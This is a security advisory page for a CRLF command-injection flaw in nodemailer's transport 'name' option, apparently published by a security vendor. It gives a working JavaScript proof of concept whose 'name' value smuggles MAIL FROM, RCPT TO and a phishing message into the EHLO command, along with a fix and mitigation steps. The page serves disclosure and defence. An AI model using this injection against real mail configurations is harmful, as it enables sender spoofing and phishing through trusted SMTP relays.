GHSA-vvjj-xcjg-gr5g is a medium-severity (CVSS 4.9) CWE-93 vulnerability in nodemailer. A fix is available for nodemailer — see the affected versions and patch details below.
Nodemailer Vulnerable to SMTP Command Injection via CRLF in Transport name Option (EHLO/HELO)
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-vvjj-xcjg-gr5g.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-vvjj-xcjg-gr5g plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
nodemailernpmDescription
Summary
Nodemailer versions up to and including 8.0.4 are vulnerable to SMTP command injection via CRLF sequences in the transport name configuration option. The name value is used directly in the EHLO/HELO SMTP command without any sanitization for carriage return and line feed characters (\r\n). An attacker who can influence this option can inject arbitrary SMTP commands, enabling unauthorized email sending, email spoofing, and phishing attacks.
Details
The vulnerability exists in lib/smtp-connection/index.js. When establishing an SMTP connection, the name option is concatenated directly into the EHLO command:
// lib/smtp-connection/index.js, line 71
this.name = this.options.name || this._getHostname();
// line 1336
this._sendCommand('EHLO ' + this.name);
The _sendCommand method writes the string directly to the socket followed by \r\n (line 1082):
this._socket.write(Buffer.from(str + '\r\n', 'utf-8'));
If the name option contains \r\n sequences, each injected line is interpreted by the SMTP server as a separate command. Unlike the envelope.from and envelope.to fields which are validated for \r\n (line 1107-1119), and unlike envelope.size which was recently fixed (GHSA-c7w3-x93f-qmm8) by casting to a number, the name parameter receives no CRLF sanitization whatsoever.
This is distinct from the previously reported GHSA-c7w3-x93f-qmm8 (envelope.size injection) as it affects a different parameter (name vs size), uses a different injection point (EHLO command vs MAIL FROM command), and occurs at connection initialization rather than during message sending.
The name option is also used in HELO (line 1384) and LHLO (line 1333) commands with the same lack of sanitization.
PoC
const nodemailer = require('nodemailer');
const net = require('net');
// Simple SMTP server to observe injected commands
const server = net.createServer(socket => {
socket.write('220 test ESMTP\r\n');
socket.on('data', data => {
const lines = data.toString().split('\r\n').filter(l => l);
lines.forEach(line => {
console.log('SMTP CMD:', line);
if (line.startsWith('EHLO') || line.startsWith('HELO'))
socket.write('250 OK\r\n');
else if (line.startsWith('MAIL FROM'))
socket.write('250 OK\r\n');
else if (line.startsWith('RCPT TO'))
socket.write('250 OK\r\n');
else if (line === 'DATA')
socket.write('354 Go\r\n');
else if (line === '.')
socket.write('250 OK\r\n');
else if (line === 'QUIT')
{ socket.write('221 Bye\r\n'); socket.end(); }
else if (line === 'RSET')
socket.write('250 OK\r\n');
});
});
});
server.listen(0, '127.0.0.1', () => {
const port = server.address().port;
// Inject a complete phishing email via EHLO name
const transport = nodemailer.createTransport({
host: '127.0.0.1',
port: port,
secure: false,
name: 'legit.host\r\nMAIL FROM:<[email protected]>\r\n'
+ 'RCPT TO:<[email protected]>\r\nDATA\r\n'
+ 'From: [email protected]\r\nTo: [email protected]\r\n'
+ 'Subject: Urgent\r\n\r\nPhishing content\r\n.\r\nRSET'
});
transport.sendMail({
from: '[email protected]',
to: '[email protected]',
subject: 'Normal email',
text: 'Normal content'
}, () => { server.close(); process.exit(0); });
});
Running this PoC shows the SMTP server receives the injected MAIL FROM, RCPT TO, DATA, and phishing email content as separate SMTP commands before the legitimate email is sent.
Impact
Who is affected: Applications that allow users or external input to configure the name SMTP transport option. This includes:
- Multi-tenant SaaS platforms with per-tenant SMTP configuration
- Admin panels where SMTP hostname/name settings are stored in databases
- Applications loading SMTP config from environment variables or external sources
What can an attacker do:
- Send unauthorized emails to arbitrary recipients by injecting MAIL FROM and RCPT TO commands
- Spoof email senders by injecting arbitrary From headers in the DATA portion
- Conduct phishing attacks using the legitimate SMTP server as a relay
- Bypass application-level controls on email recipients, since the injected commands are processed before the application's intended MAIL FROM/RCPT TO
- Perform SMTP reconnaissance by injecting commands like VRFY or EXPN
The injection occurs at the EHLO stage (before authentication in most SMTP flows), making it particularly dangerous as the injected commands may be processed with the server's trust context.
Recommended fix: Sanitize the name option by stripping or rejecting CRLF sequences, similar to how envelope.from and envelope.to are already validated on lines 1107-1119 of lib/smtp-connection/index.js. For example:
this.name = (this.options.name || this._getHostname()).replace(/[\r\n]/g, '');
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | nodemailer | all versions | 8.0.5npm install nodemailer@8.0.5 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for nodemailer, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update nodemailer to 8.0.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-vvjj-xcjg-gr5g is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-vvjj-xcjg-gr5g can be triaged on real exposure rather than presence alone.
Tailored to GHSA-vvjj-xcjg-gr5g. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-vvjj-xcjg-gr5g in your dependencies?
O3 Security finds GHSA-vvjj-xcjg-gr5g across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.